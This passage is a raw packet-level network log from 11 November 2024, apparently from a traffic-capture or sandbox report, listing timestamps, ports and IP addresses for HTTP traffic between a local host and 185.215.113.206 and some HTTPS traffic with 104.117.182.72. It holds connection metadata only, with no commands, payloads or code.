Nov 11, 2024 19:17:53.637578964 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637581110 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.637590885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637600899 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637605906 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.637613058 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637624979 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637644053 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637645006 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.637665033 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637667894 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.637676954 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.637677908 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637691021 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637698889 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.637703896 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637713909 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.637718916 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637731075 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637736082 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.637742043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.637758017 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.637785912 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.638756990 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.638804913 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.638816118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.638828993 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.638865948 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.638873100 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.638880014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.638896942 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.638909101 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.638909101 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.638922930 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.638930082 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.638936996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.638961077 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.638979912 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639005899 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639018059 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639029026 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639040947 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639044046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639051914 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639058113 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639070034 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639074087 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639081955 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639096975 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639122009 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639167070 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639178991 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639189005 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639199972 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639211893 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639214993 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639225006 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639236927 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639239073 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639247894 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639254093 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639265060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639275074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639281988 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639305115 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639328003 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639333010 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639341116 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639353037 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639365911 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639377117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639379025 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639388084 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639399052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639401913 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639417887 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639419079 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639430046 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639441013 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639445066 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639453888 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639470100 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639473915 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639488935 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639489889 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639503002 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639507055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639513969 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639524937 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639527082 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639539957 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639550924 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639558077 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639563084 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639569044 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639575005 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639583111 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639586926 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639601946 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639612913 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639620066 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639626980 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639637947 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639645100 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639655113 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.639658928 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639669895 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.639698029 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640024900 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640037060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640049934 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640062094 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640073061 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640073061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640086889 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640100002 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640101910 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640111923 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640145063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640177965 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640197992 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640209913 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640222073 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640233994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640244961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640244961 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640256882 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640261889 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640270948 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640281916 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640288115 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640296936 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640310049 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640317917 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640325069 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640330076 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640343904 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640355110 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640364885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640376091 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640376091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640388012 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640393019 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640400887 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640400887 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640414953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640427113 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640427113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640440941 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640450001 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640454054 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640465975 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640474081 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640482903 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.640491009 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640513897 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.640532017 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.642200947 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.642313957 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.670936108 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.670948982 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.671343088 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.671350956 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.671569109 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.671869993 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.683383942 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.683763981 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.694114923 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.694268942 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.694849968 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.695013046 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.696938038 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.697150946 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.714956999 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.714973927 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.714987040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715038061 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715050936 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715064049 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715075970 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715082884 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715095043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715106964 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715120077 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715137005 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715137005 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715153933 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715270996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715282917 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715292931 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715298891 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715317011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715327024 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715351105 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715351105 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715370893 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715373993 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715384960 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715394974 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715398073 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715409040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715409994 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715421915 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715428114 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715440035 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715445042 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715454102 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715468884 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715492010 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715531111 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715543032 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715554953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715568066 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715573072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715584993 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715595961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715599060 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715607882 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715624094 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715626001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715635061 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715639114 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715651035 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715662003 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715663910 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715678930 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715689898 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715692043 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715702057 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715703011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715714931 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715727091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715730906 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715739012 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715750933 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715760946 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.715761900 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715783119 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.715791941 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.739339113 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.743333101 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.747174025 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747200966 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747227907 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747251034 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747262955 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747263908 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747291088 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747302055 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747323036 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747323990 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747347116 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747364044 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747383118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747394085 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747405052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747416973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747421026 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747428894 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747440100 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747442961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747456074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747458935 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747472048 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747483015 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747495890 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747502089 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747508049 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747514963 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747544050 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747574091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747586966 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747611046 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747613907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747628927 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747634888 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747644901 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747654915 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747710943 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747714996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747745991 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747759104 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747889996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747903109 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747940063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.747956991 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747968912 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.747980118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748009920 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748011112 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748018026 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748023033 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748048067 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748058081 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748059034 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748100996 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748106003 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748140097 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748203993 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748241901 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748272896 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748308897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748321056 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748323917 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748347044 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748354912 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748404026 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748416901 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748428106 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748439074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748449087 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748455048 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748455048 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748461962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748472929 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748505116 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748527050 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748538017 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748555899 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748567104 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748569965 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748583078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748590946 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748615026 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748641014 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748641968 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748656034 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748667002 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748678923 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748692036 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748697042 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748702049 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748708963 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748723030 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748732090 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748735905 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748749971 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748760939 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748761892 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748774052 CET	80	49794	185.215.113.206	192.168.2.7
